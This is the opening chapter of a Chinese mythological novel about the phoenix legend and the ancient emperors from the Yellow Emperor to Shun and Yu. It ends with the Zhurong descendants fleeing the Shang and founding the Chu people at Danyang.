《楚天凤舞》
第一章 序曲 :凤凰的传说(1)
题记:凤兮归来——中原千年的呼唤,又从岁月深处传来。凤凰啊,你飞越千古的天地之灵,踪迹犹在,灵归何处?
-凤凰降临宰执中原
一个预言,在中原流传:凤凰将降临人世!中原各部族的国君、酋长们建迎凤台,筑来凤岭,造神牌,燃香火,把各自村寨、山岭、河流名以凤凰,只待凤凰降临。
消息传到帝都新郑,年迈的黄帝对群臣说道:“吾施惠苍生,惟仁是行,平生无憾也。惟愿一睹凤皇之姿,不知凤象如何?”
执政大臣天老对道:“夫凤皇,前如鸿雁,后如麒麟,延颈奋翼、龙文龟身,五彩备举,鸣动八风。通天祉,应地灵,律五音,览九德,乃神鸟也。”
黄帝又问:“闻凤皇乃丹穴山之鸟,饮食自然,自歌自舞,为何飞于九天之上,尊为神鸟?”
大臣歧伯说道:“凤皇之首羽纹美艳,恰似一个“德”字,故被天帝召至天宫,与九天玄女共守天门,列于神班,尊称凤皇。皇者,大也,是为百鸟之王。”
大臣力牧也说道:“凤皇徳耀天地,所到之处,见则天下大吉。”
黄帝一听,立即说道:“既如此,吾当亲往迎之。”
黄帝带领臣民来到洛水之畔,沐浴致斋,服黄衣,戴黄冕,祭祀天地,迎接凤凰到来。
这天黎明,当曙光初露,红霞流彩之时,洛水之上,一群群灵龟踏浪而来,无数**长伸,围着一只巨大的龟王向天而舞。黄帝惊道:“莫非灵龟也来迎凤?”
天老答道:“是也。且看那背壳宽广之灵龟,便是洛水之神。”
黄帝远眺那中间的大灵龟,说道:“洛神何知凤将来仪?”
“洛神乃灵悟之神也,可感天应地,预事呈兆,生民以其背壳之纹占卜吉凶,无有不验。凤临中原,便是洛神吿之中原苍生也。”
就在这时,只听有人叫道:“看,天凤来也!”
众人抬头,只见一只五彩缤纷的凤凰自天而降,翔于洛水之上,那华丽的羽冠之上,一双柔美的凤眼闪烁着绯红的波光,投向河岸众生,各色绚丽的羽毛交织成斑谰的花纹,隐隐透出一个“德”字。那双灿烂的垂天之翼,遮云蔽日,翩翩静翔。此时,百鸟欢鸣,如飞花涌浪,汹涌前迎,面对凤凰款款起舞。一时间,洛水两岸欢呼声动,瑞气盈空。
黄帝又惊又喜,问道:“此凤吉祥,果从九天而来?”
天老对道:“此为天凤,为凤之皇者,故百鸟来朝也!”
黄帝立即稽首再拜,大声说道:“皇天降祉,吾承命也!”
回到帝宫,黄帝召集群臣,大声说道:“凤皇来仪,天降吉兆,正可立储也!召中原英才,分文、武、德三试,择优立之!”
众臣召天下英才入都,分三科测试,到年底,终于选出二个人,交由黄帝自己定夺。
黄帝一看,竟然两个都是自己的儿子!大的叫玄嚣,小的叫昌意。黄帝高兴地说道;“二子脱颖而出,不负天下之望也!然汝二人只留其一,还须再试!今各赐一宝葫芦,前去嵩山之上,分立南北,放水成河。谁能水流三百里,东至颍河,即可承位。”
两人兴冲冲地来到嵩山,一个立于南坡,一个立于北坡,两人打开宝葫芦放水出来。只见葫芦内水流奔涌而出,滚滚向前,越平原,穿峡谷,浩浩荡荡向东奔流而去。可是,刚刚流到二百里,未及颍河,宝葫芦就干了!
两人用尽了办法,却再也倒不出一滴水,只好将水收回再试。可重试了几次,还是如此。
两人万般无奈,**山坡发呆。看来,帝位难承了!可两人都不甘心!突然,哥哥玄嚣跑了过来,对弟弟说道;“此葫可流二百里,若两葫合流,必可水流三百,到达颍水!”
昌意一听,喜出望外!两人按父命各回原处,一齐放水!当两股水流到百里之时,便引其合流。合流之水汹涌澎湃,飞流直下,直入颖河!
围观的万民立即欢呼起来。众臣感慨道:“兄弟同心合力!华夏必兴也!”
从此,合流前的那两条河,玄嚣所流的叫溱(zhēn真)水;昌意所流的叫洧(wěi伟)水。两水合流入颍的那一段,叫双洎(jì季)河。
黄帝也高兴地把二人召进宫,说道:“治河如治国,众人一心,万事何难?”
玄嚣点点头,他明白父皇之意,立即说道:“愿奉昌弟为储!”
昌意立即说:“合流之策,出自玄嚣,兄当立之!”
黄帝高兴地点点头,便后靠在坐椅上,闭上眼睛,一动不动。就在这时,一道紫色天光直射帝宫,萦绕在黄帝身上,幻化出五颜六色的光晕,熠熠生辉!当光晕消退,黄帝已化成一条巨大的苍龙,飞向宫外!
就在这时,凤凰震翅而来,领着苍龙飞往天门!从此,华夏奉伏羲太昊、神农炎帝、轩辕黄帝为三皇。
公元前2599年,黄帝驾崩,长子玄嚣继位,他就是中华五帝之首:少昊(hào号)帝!
玄嚣自小崇拜伏羲氏太昊,修炼太昊所创的《易经》,故被后世称为少昊。少昊身材高大,面目俊秀,有着神奇的天赋和超凡的本领,深得父皇喜爱。为他能得到历练,黄帝将他封于东夷穷桑。
穷桑(今山东日照市),东临大海,北依泰山,风和日丽,百鸟长留。少昊年少之时曾做了一个梦。他梦见五只凤鸟在他头顶飞翔,留恋不去。从此,他便懂鸟语,知鸟性,与鸟心心相应。来到穷桑后,他便以鸟为氏,建立了自己的凤鸿氏部落。东夷之人闻讯来投,他便以曲阜为国都,建立庞大的凤鸟国,以凤凰为各部族神主。
少昊登上帝位,总是不忘凤凰降临中原之事,心中生出一念:若祈迎凤凰再临,管理中原,该是多么好啊!
于是,他效仿黄帝,沐浴焚香,戴黄冕,穿黄服,在曲阜新建的帝宫前筑坛布案,祈求凤凰来仪。
可三天过去了,凤凰没有来。又过了三天,还是不见凤凰的踪影。到了第七天,天下百鸟得知少昊迎凤,便四面而来。只见曲阜的天空,五颜六色的百鸟翩翩飞舞,宛若云霞奔涌,海潮滚滚。如歌的啼声向天而唱!
就在这时,色彩斑斓的凤凰声鸣九霄,展翅飞来。她秀丽的长颈,优雅的凤首,一双淡红的大眼波光闪闪。那熠熠生辉的垂天长翼,平展于云空之中,缓缓翔于曲阜的上空。
少昊喜不自禁,高声喊道:“众生稽首,百鸟朝凤!”
曲阜的臣民一齐跪迎,天空的百鸟静翔朝拜。凤凰曲颈向天,九鸣还礼。
少昊对凤凰说道:“凤为百鸟之王!亟请领百鸟宰执中原,安定天下!”
凤凰俯首应允。她转身飞向高空,对前来朝拜的百鸟下令道:“燕子司掌春日;伯劳司掌夏日;鹦雀司掌秋日,锦鸡司掌冬日。鹁鸪善言,司掌教化;鸷鸟勇猛,司掌军事;雄鹰威严,司掌法令;斑鸠善辨,司掌言行,布谷勤劳,司掌时辰------
从此,每年春天,当晨曦初露的时候,布谷鸟从屋顶和树枝发出“布谷、布谷”的优美啼声,千家万户闻声起床,开始一天的劳作。鹁鸪则站立田边枝头,咕咕地叫唤着,提醒人们引水浇田。燕子则成双成对的含泥入户,到人家屋梁筑巢起窝,然后飞向田野,巡视新种的禾苗。雄鹰飞过天空,捕捉损坏庄稼的害虫......
少昊来到田边地头,见凤凰用才得当,百鸟各司其职,心中高兴,从此以凤鸟立制,以凤凰为中原图腾。中原年年风调雨顺,五谷丰登,成为中原历史上的凤国盛世。
哥哥继位迁都,弟弟昌意也离开了新郑。他来到自己的封地若水之畔(今四川雅安),娶了蜀山氏美丽的公主女枢为妻,生下一个头生双角的男孩,取名颛(zhuān专)顼(xū虚)。可是,他怀念从前,怀念哥哥。当颛顼长到十五岁时,已经身材高大,力大无穷了。昌意对儿子说道:“为父作别兄长,凡十六载矣!汝已长大,代父前往穷桑探之!为父无它,惟有若木可赠,汝伯父以百鸟为官,须若木栖之,汝携之且去!”
勇敢的颛顼领人带着九万九千九百九十九根若木树苗,千里跋涉,历尽艰险,来到曲阜。少昊一见侄儿,喜出望外,将若木遍植中原。他也怀念弟弟,便把侄儿留在身边,对他悉心教育,又把他封到一个叫高阳(今河南开封杞县)的地方。从此颛顼以高阳为氏,故他史称高阳。伯侄之情,日益深厚。
这天,颛顼听见宫外有人哀嚎,走出一看,是少昊要将自己的儿子穷奇处死。穷奇长得虎面龙身,身生双翼,是少昊最小的儿子。他年纪轻轻,却面目狰狞,性格怪异。见有人争吵,他便将有理之人杀死。有人对他亲和,他也要杀。他最喜欢做的事,就是把活人弄死,又把**救活!可他力大无穷,无人斗得过他,对他又怕又恨。故天下之人都叫他穷奇。穷奇,在当时就是流氓、混旦的意思。
少昊忍无可忍,对他说道:“若不诛汝,必遗害天下也!”便令十个刀斧手,要把他砍成十节,让他永不超生。
颛顼一见,立即谏道;“小弟年幼,尚可教也!若诛之,则**之人皆不能活也!不若令其救之,勿使再犯。子有异禀,或可为用也!”
颛顼其实也了解穷奇,知道他目光锐利,每年十二月初八,都要钻入深沟浅壑之中,寻找细小的害虫吃掉,这也算是做了好事。
少昊一听有理,立即把他交给颛顼。颛顼对他说道;“汝闲极无聊,戏弄苍生,必再受父诛!自今日始,汝为凤皇护驾,伴凤巡察天下,将功补过!”
穷奇唯一崇拜的就是凤凰,心悦诚服!自此日夜与凤为伴,无暇作恶。少昊一见,终于放下心来。
冬去春来,岁月荏苒,多少年过去了。这天,天空雷声大作,云彩翻腾。只见一黄衣天使自天而降,站立五彩云朵之上,对凤凰说道:“天帝有令,人神有别,汝速回天宫,勿再留恋中原!”
凤凰听令,拍翅向上,正要飞去,可穷奇伴随凤凰多年,不忍与别,紧跟不舍,凤凰说道:“天命难违,吾将往矣!告汝帝父!”说完回首中原,却见洛河白浪滔天,洛神从浪花中伸出头来,大声说道:“天凤宰执中原,天下安宁,可否留下成法?”
“宰执之法,以德而定!汝天赋异禀,召天地众神议而成之,交与中原帝王即可!”
“洛神承命。”
就在这时,少昊领臣民赶来,含泪相留,他高声说道:“天凤勿走,中原不可无凤也!”
凤凰答道:“天帝有令,不可违也!”说完转身飞入云天。可少昊心中万般不舍,流泪喊道:“凤兮归来——”
凤凰一听,忍不住回首中原,只见万千臣民哭声喊道:“凤兮——归来——”
凤凰热泪盈眶,却不敢停留,转头飞往天宫而去。
凤凰离去,少昊只能以人为官,治理中原。他希望各族群之人象鸟一样勤勉无私,以鸟来命名各氏族的官员。令青鸟氏为春官,伯赵氏为夏官,玄鸟氏为秋官,丹鸟氏为冬官。以凤鸟氏执掌历法,祝鸠氏为司徒等等。从此,中原交由二十四个凤鸟氏族之人管理。
二?0?2颛顼求凤
少昊在对凤凰的无穷怀念中去世,临终前禅位于颛顼。此时,百鸟都已离去,凤凰不会来了!颛顼便夜观天象,掌握日月星辰的规律,指导农时,制订历法。以建寅之月为正月(今农历正月),每月36天,每年10个月,春、夏、秋、冬四季附设24个节气。指导万民春种、夏耘、秋收、冬藏。为了管理方便,他把中原分为兖、冀、青、徐、豫、荆、扬、雍、梁九州,北至幽陵(今河北、辽宁);南至交址(今广东、广西、越南);西至流沙(今甘肃)东至东海。
为了万民和谐共生,他制定人间礼法,规范人们的行为。要求人人都要以礼相待。为了后嗣的健康,他还特别规定,兄妹不能成婚。他的勤奋和努力,获得万民颂扬,九州归顺。
可时日一久,他发现各凤鸟氏官员开始贪图享乐,欺压生民,许多官员将生民收为奴隶,为己所用。他革去贪腐旧官,可新官上任后,又是如此。各地生民开始反抗,九黎、百濮、杨越和三苗等部族也发动反叛。而势力最为强大的神农氏则向颛顼发起了战争。
强大的神农氏人材辈出。以炎帝的孙子共工最为优秀。共工不但继承了神农氏善于耕种的传统,而且更会治水。他人面龙身,身体极其强壮,有着无穷无尽的力量。他出身共水(今河南辉县),便以共为氏。成为姜姓后裔的领袖。共工对颛顼执政十分不满,认为既然是轩辕、神农联合执政,帝位也该轮到神农氏了。一怒之下,他召集天上诸神,要推翻颛顼的政权。
炎帝的孙子与黄帝的孙子终于开战了!中原分为两个阵营,杀得天昏地暗,共公不幸战败,在撤退之时,天柱不周山挡住了他的去路,他大叫一声,一头撞了上去!
顷刻间,天柱断裂,大地震荡,日月星辰全部位移,大地向东南倾斜,洪水滔天,房屋倒塌,田地尽毁,人们奔走哭号,中原惨不忍暏。颛顼心中无限悲痛!轩辕氏三代忧勤愓励、精心治理的大好山河,变成了一片废墟。
谁来医治战争的创伤?谁能平息两族的争斗?颛顼的眼前,闪过凤凰的美丽身影。凤凰,只有凤凰,才能抚慰苍生,化解仇恨。而百官虽有凤鸟之名,却无凤鸟之徳,他要求得凤凰领百鸟重新宰执中原,礼仪天下。
当少昊去世,颛顼承位之时,少昊的长子蟜极也带着年轻的儿子姬俊离开帝都,前去自己的封地。颛顼见姬俊也头生双角,高大魁武,心中无比喜爱。想到少昊帝对自己的恩情,便将这个侄儿留在自己的身边。
姬俊果然不负厚望,他为年迈的颛顼医治战争的创伤,放逐共工,安抚共工之子后土,封为幽都之王,执掌阴阳和大地万物。后土也不负其望,后来成为大地之神。颛顼又令姬俊领率百官救灾济民,自己则筑起高高的神坛,沐浴更衣,斋戒七日,登台长跪,祈求凤凰降临。
时间一天一天地过去,凤凰没有到来。颛顼痴心不改,一意祈祷,日夜不倦。等到第四十九天,颛顼的眼泪流干了!血,从颛顼的眼中流了出来,淌下神坛。鲜血流过的地方,鲜花盛开,芳香盈野,缕缕升向天际。
凤凰没有再来,可颛顼在求凤中羽化升天。他将帝位禅让给姬俊。他,便是华夏第三帝:帝喾(kù库)。
帝喾承位,迁都帝丘(今河南濮阳)。颛顼的长子伯称为了礼让,也带着儿子卷章依依离开旧都,向东而去。他们来到天光水色的东海之滨,见海岛星罗棋布,苍翠秀丽,便在一座最大的岛上留了下来。那时的胶东半岛的一部还在海中,未与陆地相连。伯称在这里建立了自己的国家。远离帝都,伯称无比怀念父亲,他将国家命名为颛顼国。父子俩自此在这里生息繁衍。
伯称去世,长子卷章继任颛顼国君,他娶当地于根水氏之女骄福为妻,生下两个儿子,大的名重黎,小的叫吴回。
重黎身材高大,面容俊秀,经常带着弟弟到海边玩石头。有一次,重黎看到石头相碰擦出了火花,便不断擦石,掌握了擦石取火的秘密,后又学会了钻木取火。重黎喜出望外,便把取火的秘密教与国人。从此,偏僻、寒冷的颛顼国,生民都生火煮食,国家一片繁荣兴旺的景象。
再说帝喾承位后,爱民守信,和谐族群,册封共工为万水之神,后土为大地之神!与神农氏化解仇恨,得到天下之人拥戴。他告诫百官:“德高莫过博爱于人;政大莫过博利于人;令莫大于信;治莫大于仁!”在他年迈之时,闻颛顼国的重黎有取火之能,立即召往帝宫,任命他为火正。
果然,火的广泛使用,惠及万民,光融天下!中原渐渐告别了茹毛饮血的时代!帝喾欣喜万分,便赐重黎为祝融。祝融者,火神也!重黎去世后,弟弟吴回承继祝融封号,继续施恵苍生。
可就在这时,帝喾去世了!临终之时,他将帝位传给了最小的儿子尧。
尧姓伊祁,号放勋,因封于唐国,故史称唐尧。他继位后,见帝丘常遭洪水侵袭,便北迁晋阳(今日山西太原),在那里筑起帝都。史称唐都。“唐”和“冢”的意思相近,就是大。唐都,就是大都。但唐不是指形体大
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,而是指尧的道德广大!唐者,荡荡也,道德至大之貌也!唐尧,便是华夏第四帝。
三?0?2凤凰传书大禹治水
这时,黄水为患,震及帝都。唐都北面的洋河,西面的唐河,南面的滹沱河经常洪水泛滥,危及中原,尧帝一面派共工氏的后人防洪抗灾,一面又将帝都迁至平阳(今山西临汾市)。
尧帝以茅草为宫,麻布为衣,粗米作饭,野菜煮汤。长年在野视察农桑。为了惩治不断出现的贪官污吏,他在各级衙府门前设立“欲谏之鼓”,只要听到鼓声,他便来听取民众的谏言。他认为这还不够,又到野外树立“诽谤之木”,每根木前都有人听取百姓对朝政的批评。他认为,天下领袖,必以有德者居之,而不能私授子孙。便不断访纳贤良,寻找天下有德之人。
在虞地(今山西永济市)有一户贵族之家,姓姚,妫氏。父亲叫瞽叟,是个半眼瞎,他的妻子生下一子,因为是双瞳,故母亲为他取名重华。但母亲不久就去世了,半眼瞎又为儿子娶了个后娘,后娘不久生下一子,取名象。
重华就是舜帝。他是颛顼之子穷蝉的孙子,从小就挑起家庭的重担,善于耕耘种植,又会打魚,还会制作陶器。心地善良,慷慨大方。人们纷纷来到他身边,学习各种劳动技巧,人越聚越多。一年成村,二年成邑,三年成都。虞地不久成为虞国。故舜帝又称虞舜。
尧帝徳行天下,共工的后人心悦诚服。尧帝便让共工的孙子管理九州。因为九州四方以东岳、西岳、南岳、北岳四岳为标志,故共工之孙被称为四岳。四岳闻重华徳行高尚,向尧帝推荐重华为**人。
尧帝听完重华的故事,喜出望外,立即将自己两个美丽的女儿娥皇、女英嫁给他,并赐絺衣、琴、和牛羊,派人辅助他治理虞国,实际是考察他。
可是,尧帝的奖赏却给重华带来了灭顶之灾。
重华的后母是一个狭隘、狠毒的女人,见重华如此荣光,心生妒嫉,便想害死重华,以亲生儿子象代之。老夫怕少妻,父亲疼幼子,昏聩的瞽叟也助纣为虐,联同象一起,对重华下手。
一天,继母对重华说,房顶漏雨,你上去修好。他搬出梯子,戴上一顶大草帽便爬了上去。漏洞很小,不久就修好了。可当他来到梯边伸脚下房时,象突然抽掉梯子。他一脚踩空,跌落下来。他迅速拉着草帽,凭着草帽的浮力着地,安然无恙。他却丝毫没有责怪弟弟。
隔了不久,继母又对他说,井下不出水了,你下去把泉眼挖通。可当他一下井,全家人都用事先准备好的泥土往井里填,不久就把他埋在井里。一家人心想,这下你该**吧?可重华虽无害人之心,却有防人之智。他早就在井壁上挖了一个洞。到了半晚,他又回来了。此时,象已进入了他的房间,正想霸占娥皇和女英。他一进门,仍对父母谦恭施礼,感谢弟弟照顾妻室。三人无言以对。
帝尧闻讯,立即将他召到帝宫,命他为司徒,掌管天下百事,接待四方宾客。经过一段时间考察,发现他不仅温良恭俭,而且精明练达,怀仁天下。帝尧一再禅位于他,被他婉拒。
尧帝在位七十年,决意禅让。这年正月初一,他召群臣集于太庙,举行中国历史上第一次禅位大典。
尧帝立于列祖列宗的神牌前,对重华说道:“汝,舜也,请前肃立!朕咨询政务,考察言行,已三载矣!令汝陟(zhì制)承帝位!”
重华感恩无地,惶恐地说道:“帝也!舜德义尚薄,请授德高之人!”
可是,众臣一齐劝进!重华不敢负天下所望,便承继帝位。他,就是华夏第五帝,虞舜。
舜帝继位后,召九州之牧进宫,将象征权威的圭玉颁发给他们,使他们能发号施令。他又广罗天下贤才。他把弃、契、皋陶、崇伯鯀(gǔn滚)、伯益等天下英才招致麾下,委以重任。随着管理的不断细分,舜帝制作官服,以十二种图案区分君臣之别和众臣的等级之别,史称十二章纹。
部族战争虽少,民间纷争加剧。他便命皋陶制订刑法,决狱公平。使天下无冤狱,兆民享太平。西北地区水源稀少,他体察**,让伯益凿井,从此解决了用水问题。接着,他又推行德政。每隔三年,都要考察中央群臣和九州之牧,贤者提拔,庸者免职。
舜帝继承尧帝的品质,德行天下,广施仁政,使中原日益繁荣富强。他没有迁都,故历史上尧舜并称,被后人誉为尧天舜日。
可是突然有一天,电闪雷鸣,狂风呼啸,大雨倾盆而下,持续不停。中原淹成一片泽国。当雨过天晴,只见山洪暴发,洪水又冲进城市和山村,无数人溺水而死。此时,舜帝愁得满头白发,四岳一见,与众臣共推崇伯鯀率众治水。
可是,崇伯鯀仍用共公的“雍防百川,堕高埋卑”的老式方法治水。他花了九年时间搬石移山,又将天宫的息壤偷来,要将山洪全部堵住。可是,天帝发怒,将息壤收走。洪水冲开石山土坝,顷刻间,堤岸崩裂,洪水如猛兽一般奔涌向东,辽阔的中原变成一片泽国。兆民流离失所,陷于水深火热之中。无数溺死之人,漂浮在茫茫**之中。
这天,天凤在九天之门俯看中原,见洪水滔天,中原大难来临,立即飞入凌霄宫,收翅俯首,对着殿前宝座上两耳如盘,双眼如灯的天帝说道:“禀天帝,黄水祸害中原,乞天帝以息壤堵住洪水,救生民于万险之中。”
天帝口含潘桃,悠闲地说道:“中原之人自私残暴,自折天柱,息壤亦不能救也。”
“天帝不救,中原亡也。”
天帝说道:“中原若无天灾,必生罪恶,救之何用?汝若擅离天门,再入中原,必不饶恕!”
天凤只觉此话冰寒,黯然退下,可心中急如火燎。她的眼前,又浮现中原万民呼唤她的景象。天帝无情,任中原自生自灭,只有自己去救了!可正拍翅欲飞之时,明艳美丽的九天玄女伸臂拦住:“天凤宰执中原,天帝已怒!若再往之,天帝必然不饶!”
天凤眼含热泪,痛苦地说道:“我本来自中原,虽列仙班,岂忍故土尽毁,生民消亡?虽万死而必救也。”说完拍翅而去。
天凤飞翔在滔滔奔涌的洛河之上,眼见黄河之水正破堤而入。在两河交汇的地方,洪水滔天,生灵无存,天凤嘶鸣道:“洛神何在?”
突然,水底光茫四射,河水五光十色。一只巨大的灵龟从河底缓缓升起,其背浮出水面,广袤九尺,背壳纹理清晰可见。壳背右边绘满山川河流,上有列星之分,各种异别形数布满其间,并有四个大字:“一画开天”。壳的左边是绿色的篆字和火红的赤文,耀眼夺目。凤凰清楚地看见了“洪范九畴”四个大字。
灵龟抬头,对天凤说道:“小神在此等候久矣!遵天凤之令,《河图洛书》成矣。可速交人间帝王,以救中原也!”
只见红绿两色的灵龟壳皮脱落,《河图洛书》如霞朵般徐徐升起。凤凰伸出双手,捧起这万世宝典,小心卷藏于掖下羽绒之中,拍翅升空而去。
就在此时,焦虑万分的舜帝见崇伯鲧治水不成,更惹大灾,一怒之下,将他处死,又令他的儿子禹率众再治,并让自己的股肱之臣伯益、契、皋陶及共公的后人辅佐他。
大禹头颅如山,大眼如炽,心灵手巧,悟性非凡。年迈的舜帝相信他能一雪父亲之耻,亲自送他远征。当君臣行至太行山上,只见艳阳**,彩彻区明,那五彩灿烂的天凤长鸣九天,拍翅飞来!众人一见,眼前顿时一亮!凤凰来仪,必传福音啊!众人一起跪拜!
天凤看见身材高大粗壮,却发髯尽白的舜帝,想起传说中的尧天舜日,心念顿开:此必是人间之王啊!她立即平展双翅,向舜帝徐徐飞来,赤眼含笑,垂首献书,对舜帝说道:“《河图》治水,《洛书》治国,此为天地圣书,万世宝典,帝王用心参详。”
舜帝躬身接过《河图洛书》,展开细看,凝视《河图》,豁然开朗!对大禹说道:“河图一画开天,乃天地之道也!地倾东南,顺势疏导,则水入大海,中原长治也!”众人一听,欢呼雀跃起来。
第一章 序曲 :凤凰的传说(2)
四楚人建国
凤凰传书与舜帝,正要离开,突见穷奇飞来,大声说道:“天凤何往,穷奇护驾来也。”
凤凰说道:“不知丹穴山水情如何,欲往探之。”
“天凤牵挂故土安危,穷奇相伴往之。”
凤凰觉得天帝无情,天门空虚,不愿回天宫,便思归故里。当他们来到丹穴山上空时,只见滔滔洪水将要淹没大山,无数凤凰聚于山顶,惊恐地哀声哭号。见天凤飞来,纷纷喊道:“乞天凤快救故土。”
就在这时,奇迹出现了:洪水浪静,浊波倒流,向东而去,渐渐露出山腰。腰中草木隆起,鲜花重开,美丽的丹泉飞花涌翠,丹穴山,又获平安。
原来,大禹拜受舜帝授予的《河图》,依据《河图》所示,考察山川,在北方疏通黄河,使之直通渤海;又在南方疏通长江,直通东海。他疏通了九条大河,铲平了九座高山,让水注入大海之中。经过艰苦卓绝的努力,洪水退去,水患得到根本治理,从此再也没有危及整个中原的水灾发生了。
舜帝见他劳苦功高,对他说道:“禹!汝为朕手足耳眼!佐朕治水,承朕圣德,功莫大焉!朕宅帝位三十三载,耄(maò冒)倦于勤也!惟汝不怠于政!来,承朕之位,总帅朕之万民!”
大禹推辞,舜帝固授,大禹只好承继大位。但念自己的品行不及五帝,不敢与帝并肩,故降称王。
洪水退去,丹穴山恢复了往日的秀丽。每天清晨,万千凤凰盈空起舞,如万朵云霞漫卷山巅。无数雌凰将山中的金玉镶入羽翅之上,飞于天凤之前,抚羽伸喙,以示亲爱。原来,丹穴山上,雄为凤,雌为凰,起舞之时相对而戏。雌凰见天凤救了丹穴山,便扇动着璀灿的翅膀,以舞求爱。天凤虽在九天之门的千年中修成仙体,但对故土的亲爱仍恋恋不舍,天天相伴起舞,不舍离去。穷奇劝道:“天凤离天门久矣,天帝不见,必然生怒!”可天凤不愿回到空旷寂寥的天门。只在故乡留连不归。
这天,中原大地火光冲天,熊熊烈火染红了云霄。天凤大惊,拍翅而起,前往察看,只见夏都阳城(今河南登封市)一片火海,而在黄河北岸的鸣条山上,千军万马正相互厮杀,一个身穿白衣的高大青年手持铜钺,带领军队冲向身穿黑衣的人阵之中,天凤惊奇地问道:“此为何人?”
穷奇看了半天,说道:“天生玄鸟,降而生商,此为商族之君商汤,正领天下之人讨伐无道夏桀也。”
原来,大禹建立了夏王朝后,在晚年把王权交给了儿子启,结束了三皇五帝选举和禅让的历史。过去自由的生民全都变成了奴隶,一个个骨瘦如柴,衣不蔽体,在王室和贵族的权杖下受尽苦难。商汤举杆起义,率军在鸣条山上打败夏桀的军队。他们越过黄河,冲向阳城,推翻了夏朝的统治。
但阳城之火七日不灭,凤凰说道:“昔我已将《洛书》传与中原,夏王为何不用?”
穷奇一听,那察微辨细的目光突然发现,藏在夏宫藤柜中的《洛书》正被烈火焚烧,惊道:“《洛书》毁矣!”
凤凰伤心地说道:“中原以人为奴,以武夺政,此**也!非《洛书》不可开启心智,教化仁政。”
“中原之人冥顽不灵,不用《洛书》,天凤无须怜悯。”穷奇劝道。
“不然,中原为天灾所困,急用《河图》,无暇顾及《洛书》也。可寻一德高智能之人,托梦《洛书》,以解苍生之苦也。”
“中原智者狡诈,厚者顽愚,何处寻得此人?”
是啊,从哪里找到大德大智之人呢?凤凰心中也没有方向,但心中发誓,一定要找到他!
再说吴回承袭哥哥重黎的祝融名号,死于尧帝暮年。他的儿子陆终承袭祝融之号,进入舜帝时代。陆终长得高大英俊,又恭敬王事,与父亲一样,受到舜帝的喜爱。舜帝禅位大禹,大禹仍以陆终为夏王朝的火正,嗣祝融之号。
陆终娶了鬼方国的公主馈氏为妻。鬼方氏的女人又高又大,而?6?2氏尤甚。两人相亲相爱,很快,馈氏就怀孕了。
可馈氏一怀六年,被折磨得死去活来,就是不生。到第六年底,终于分娩了,她先从右掖生出三个儿子:
长子昆吾,名樊,赐己姓,长大后封为昆吾国君,是苏姓、己姓、樊姓的始祖;
次子惠连,又名参胡,赐妘姓,封为参胡国君,是妘姓、韩姓的始祖;
三子彭祖,名翦,赐彭姓,封为大彭国君,是彭姓的始祖。
三子既生,左掖又痛,再生三个儿子:
四子会人,又名求言,以妘为姓,封为郐国国君,是柴、郐、邬、鄢、云、雍、罗、路、韦等九姓的始祖。
五子曹姓,名晏,封为曹国国君,是曹姓、邾姓的始祖。
生下五个儿子后,馈氏已是奄奄一息。可是,还有一个没有出来,那婴儿连体的脐带总剪不断。突然,听到门外传来“咩咩”的羊叫声,此子一下嘣了出来,号淘大哭,手脚乱舞。陆终便让他以羋(mǐ米)为姓。又因脐带连体不断,故取名季连。
馈氏醒来,见此子依恋母体,便痛爱不舍,将他带在身边,承继祝融之位。
祝融六枝,后代枝叶繁茂,个个贵为侯伯,尊为国君,家族兴盛,大兴六百年。
可是,夏朝灭亡,他们的劫难到了!商族的大军,疯狂地**夏族的忠臣良将。大哥的昆吾国被商军的铁啼踏破,最后灭亡;老二的参胡国也不能幸免于难。老三彭祖氏-族投降商人,但最后仍然遭受族灭国亡的命运。老四会人氏,老五曹姓氏,都**得妻离子散,国破家亡。
老六季连的羋姓后人只好举族逃亡。祝融六枝,独存一脉。他们首先向东南往大别山逃窜。凶残的商军飞马追来,见人就杀,见物就抢,他们只好逃进大别山,可商军仍进山追杀不止,他们又继续向东南逃亡。
他们逃啊,躲啊,商人的铁蹄声,仿佛要把他们的心踏碎!一天又一天,**死、饿死、病死的人不计其数,他们彻底绝望了!
就在这时,正在寻找托梦之人的凤凰出现了!天空响起那清丽的啼鸣!祝融的后人抬头仰望,不禁热泪盈眶。这是祖先崇拜的幸运之神啊!他们举族跪拜,以头磕地,往复九轮。
在天空飞翔的凤凰到处寻找托梦之人,却见新的王朝依旧以人为奴,更以人为牺牲,到处杀戮老弱妇孺甚至青壮,淫祭祖先神明。天凤大失所望,想起天帝的话,中原之人果然自私残暴!伤心之际,便犹豫起来,何必逆天帝之意,救此残暴之人呢?
正当天凤折返天门之时,却听中原大地传来凄凉的呼唤声:“凤兮,归来——”
天凤回头,只见满地跪拜的宽脸隆鼻之人,正含泪呼叫。那是颛顼的后裔啊!当年,颛顼设坛求凤,长跪四十九天,眼睛流血而死,九天之上的天凤看得清清楚楚,可慑于天帝之令,没有下凡。现在,心中怜悯再生,不能再抛弃颛顼的后人了!天凤长啸云空,九鸣还礼!见西北到处是商人的军队,便拍翅而下,展翅向东南而去。
季连的后人追随着凤凰的身影,从东海之滨跟向东南,越过武夷山,一直来到南海之滨。商军的马蹄声渐渐远去,他们来到荒凉的交址之野,在这里栖居下来。
凤凰召集百鸟来到南方,各司旧职,为楚人重建凤鸟之国。百鸟伴随季连的后人春种秋收,在这里生息繁衍。可每当春天到来的时候,死去的冤魂化成一种四声杜鹃,总跟着凤凰飞翔,日日夜夜不断鸣叫:“不如归去,不如归去——”
杜鹃的啼鸣,使季连的后人泪流满面,思归之心,日甚一日!他们是多么怀念过去的时光,怀念中原故土!但他们害怕商人,不敢回去。
可杜鹃啼鸣不断,直到啼血而死,年复一年,呼唤着一代又一代季连的后人!他们是颛顼的苗裔,祝融的子嗣啊!怎能永远蜗居在边鄙的荒野中!他们要回到中原,回到自己的故土,找回昔日的荣光!
二百多年过去了!公元前十三世纪初,祝融的后代们举族北上。经过数十年的征战,他们穿过了百越和三苗族群的广袤之地,翻过衡山,越过长江,来到长江北岸的荆山之麓。这里,北面是秦岭,西南是荊山,南面是武当山。土地肥沃,一条美丽的丹水河,从西北流入汉江。他们把这依山傍水,湖泊纵横之地称为丹阳(今湖北丹江口市),决定在此建立新的家园。
这里到处生长着一种植物,象树又象藤,粗长而又柔软,易弯而不易断。他们用这种藤条造屋建房,制篮造筐,生活中几乎处处都要用到它。当地土著人叫它楚。久而久之,季连的后代便以楚作为自己的族名,在这里繁衍生息。他们教周边的巴人、越人、庸人和百濮等各个族群火的秘密,各族也教他们当地的生存技巧。渐渐他们与这片土地相溶在一起。楚人一年年強大起来。
